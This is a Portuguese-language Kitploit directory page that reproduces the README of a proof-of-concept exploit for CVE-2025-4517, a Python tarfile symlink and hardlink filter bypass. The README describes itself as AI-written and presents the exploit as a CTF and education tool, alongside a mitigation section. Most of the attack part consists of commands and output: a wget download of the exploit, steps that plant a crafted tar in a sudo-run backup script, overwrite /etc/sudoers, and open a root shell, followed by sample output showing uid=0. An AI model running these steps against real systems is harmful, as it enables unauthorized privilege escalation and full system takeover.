Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-4517-POC — Script de escalonamento de privilégios para CVE-2025-4517 | Kitploit
Ferramentas/GitHubGitHub/azureadtrent/cve-2025-4517-poc
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoCTFAprendizado e EducaçãoExploração de Binários
GitHubazureadtrent/cve-2025-4517-poc

CVE-2025-4517-POC

Script de escalonamento de privilégios para CVE-2025-4517

Ver Repositório
92há 6 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Exploit CVE-2025-4517

NOTAS

Este exploit e descrição foram escritos por IA. Se encontrar um erro ou problema, por favor me avise! Este exploit foi testado e confirmado funcionando. Obrigado!

Visão Geral

Este exploit aproveita a CVE-2025-4517, uma vulnerabilidade crítica no módulo tarfile do Python que permite escrita arbitrária de arquivos através de uma combinação de path traversal por symlink e manipulação de hardlinks. Isso contorna a proteção filter="data" introduzida no Python 3.12.

Detalhes da Vulnerabilidade

  • ID CVE: CVE-2025-4517
  • Versões Afetadas: Python 3.8.0 até 3.13.1
  • Pontuação CVSS: 9.3 (Crítico)
  • Impacto: Escrita arbitrária de arquivos com privilégios elevados

Contexto Técnico

A vulnerabilidade explora uma falha na forma como o tarfile.extractall() do Python lida com a interação entre:

  1. Symlinks - Usados para criar path traversal fora do diretório de extração
  2. Hardlinks - Usados para referenciar arquivos através do caminho do symlink escapado
  3. Bypass do Filtro - O parâmetro filter="data" bloqueia escapes diretos de symlink, mas a técnica de hardlink contorna essa proteção

Fluxo do Ataque

root@kitploit:~
1. Criar diretórios aninhados profundos (confusão de caminho)
   └─ Usa nomes de diretório de 247 caracteres repetidos 16 níveis de profundidade

2. Construir cadeia de symlinks para traversal
   └─ Cria symlinks que resolvem para cima através da árvore de diretórios

3. Escapar symlink para o diretório alvo (/etc)
   └─ O symlink final aponta para fora do limite de extração

4. Criar hardlink apontando através do symlink de escape
   └─ Hardlink: "sudoers_link" → "escape/sudoers" → "/etc/sudoers"

5. Escrever conteúdo no hardlink
   └─ Escrever em "sudoers_link" na verdade escreve em /etc/sudoers

Componente Vulnerável

Script: /opt/backup_clients/restore_backup_clients.py

root@kitploit:~
# Código vulnerável (trecho)
with tarfile.open(backup_path, "r") as tar:
    tar.extractall(path=staging_dir, filter="data")

Permissões Sudo:

root@kitploit:~
wacky ALL=(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

Detalhes do Sistema

  • Versão do Python: 3.12.3 (Vulnerável à CVE-2025-4517)

Uso

Pré-requisitos

  • Acesso de usuário com permissões sudo para o script vulnerável
  • Permissão de escrita em /opt/backup_clients/backups/
  • Python 3 na máquina atacante

Instalação

root@kitploit:~
# Baixar o exploit
wget https://raw.githubusercontent.com/AzureADTrent/CVE-2025-4517-POC/refs/heads/main/CVE-2025-4517-POC.py
# Mover para o sistema alvo

Execução Básica

root@kitploit:~
# Executar o exploit
./exploit.py

# Ou com Python
python3 exploit.py

Passo a Passo Manual

Se preferir executar cada etapa manualmente:

root@kitploit:~
# 1. Criar o tar do exploit
python3 exploit.py --create-only

# 2. Implantar no alvo
cp /tmp/cve_2025_4517_exploit.tar /opt/backup_clients/backups/backup_9999.tar

# 3. Executar através do script vulnerável
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py \
  -b backup_9999.tar \
  -r restore_exploit

# 4. Verificar modificação no sudoers
sudo cat /etc/sudoers | grep "$(whoami)"

# 5. Obter root
sudo /bin/bash

Exemplo de Saída

root@kitploit:~
╔═══════════════════════════════════════════════════════════╗
║     CVE-2025-4517 Tarfile Exploit                         ║
║     Escalação de Privilégio via Bypass de Symlink + Hardlink ║
╚═══════════════════════════════════════════════════════════╝

[*] Usuário alvo: wacky
[*] Criando tar do exploit para o usuário: wacky
[*] Fase 1: Construindo estrutura de diretórios aninhados...
[*] Fase 2: Criando cadeia de symlinks para path traversal...
[*] Fase 3: Criando symlink de escape para /etc...
[*] Fase 4: Criando hardlink para /etc/sudoers...
[*] Fase 5: Escrevendo entrada no sudoers...
[+] Tar do exploit criado: /tmp/cve_2025_4517_exploit.tar
[*] Implantando exploit em: /opt/backup_clients/backups/backup_9999.tar
[+] Exploit implantado com sucesso
[*] Disparando extração através do script vulnerável...
[+] Backup: backup_9999.tar
[+] Diretório de staging: /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Extração concluída em /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Extração concluída
[*] Verificando sucesso do exploit...
[+] SUCESSO! Usuário 'wacky' adicionado ao sudoers
[+] Entrada: wacky ALL=(ALL) NOPASSWD: ALL

============================================================
[+] EXPLORAÇÃO BEM-SUCEDIDA!
[+] Usuário 'wacky' agora tem privilégios sudo completos
[+] Obter root com: sudo /bin/bash
============================================================

[?] Iniciar shell root agora? (s/n): s
[*] Iniciando shell root...
[*] Execute: sudo /bin/bash

root@box:/tmp# whoami
root
root@box:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

Fluxo de Prova de Conceito

Estágio 1: Acesso Inicial

  • Acesso ao usuário

Estágio 2: Escalação de Privilégio (Este Exploit)

  • Identificar permissões sudo no script de restauração de backup
  • Reconhecer versão do Python vulnerável à CVE-2025-4517
  • Implantar exploit tar para modificar /etc/sudoers
  • Obter acesso root

Mitigação

Para Desenvolvedores Python

  1. Atualizar Python: Atualizar para Python 3.13.2+ ou aplicar patches de segurança
root@kitploit:~
   python3 --version  # Verificar versão
  1. Validação Adicional: Implementar validação rigorosa do conteúdo do tar
root@kitploit:~
   # Verificar membros suspeitos antes da extração
   for member in tar.getmembers():
       if member.islnk() or member.issym():
           raise SecurityError("Symlinks/hardlinks não permitidos")
  1. Restringir Caminhos de Extração: Verificar se todos os arquivos extraídos permanecem dentro dos limites
root@kitploit:~
   import os
   for member in tar.getmembers():
       member_path = os.path.join(extract_path, member.name)
       if not member_path.startswith(os.path.abspath(extract_path)):
           raise SecurityError("Path traversal detectado")

Para Administradores de Sistemas

  1. Limitar Acesso Sudo: Minimizar scripts que podem ser executados como root
root@kitploit:~
   # Remover ou restringir acesso sudo ao script de backup
   visudo
  1. Validação de Entrada: Validar arquivos tar antes do processamento
root@kitploit:~
   # Verificar conteúdo do tar antes da extração
   tar -tzf archive.tar | grep -E '\.\./|^/'
  1. Monitoramento de Integridade de Arquivos: Monitorar arquivos críticos como /etc/sudoers
root@kitploit:~
   # Configurar AIDE ou IDS similar
   aide --check
  1. AppArmor/SELinux: Implementar controles de acesso obrigatórios

Referências

Informações CVE

  • CVE-2025-4517 - NVD
  • CVE-2025-4138 - Vulnerabilidade Relacionada
  • Advertência de Segurança Python

Pesquisa e Documentação

  • Advertência de Segurança Linux
  • Pesquisa de Segurança Google - GHSA-hgqp-3mmf-7h8f

PoCs Públicos

  • DesertDemons CVE-2025-4138-4517-POC
  • StealthByte CVE-2025-4517-poc
  • AnimePrincess420 PoC

Aviso Legal

Este exploit é fornecido apenas para fins educacionais e destina-se ao uso em:

  • Testes de penetração autorizados
  • Competições Capture The Flag (CTF) como HackTheBox
  • Pesquisa de segurança em ambientes controlados
  • Divulgação de vulnerabilidades e desenvolvimento de patches

O(s) autor(es) não assume(m) responsabilidade pelo uso indevido deste código.

Pesquisa Original: Vários pesquisadores de segurança (veja Referências)

Licença

Licença MIT - Veja o arquivo LICENSE para detalhes


Última Atualização: Março de 2026

Baixar ferramenta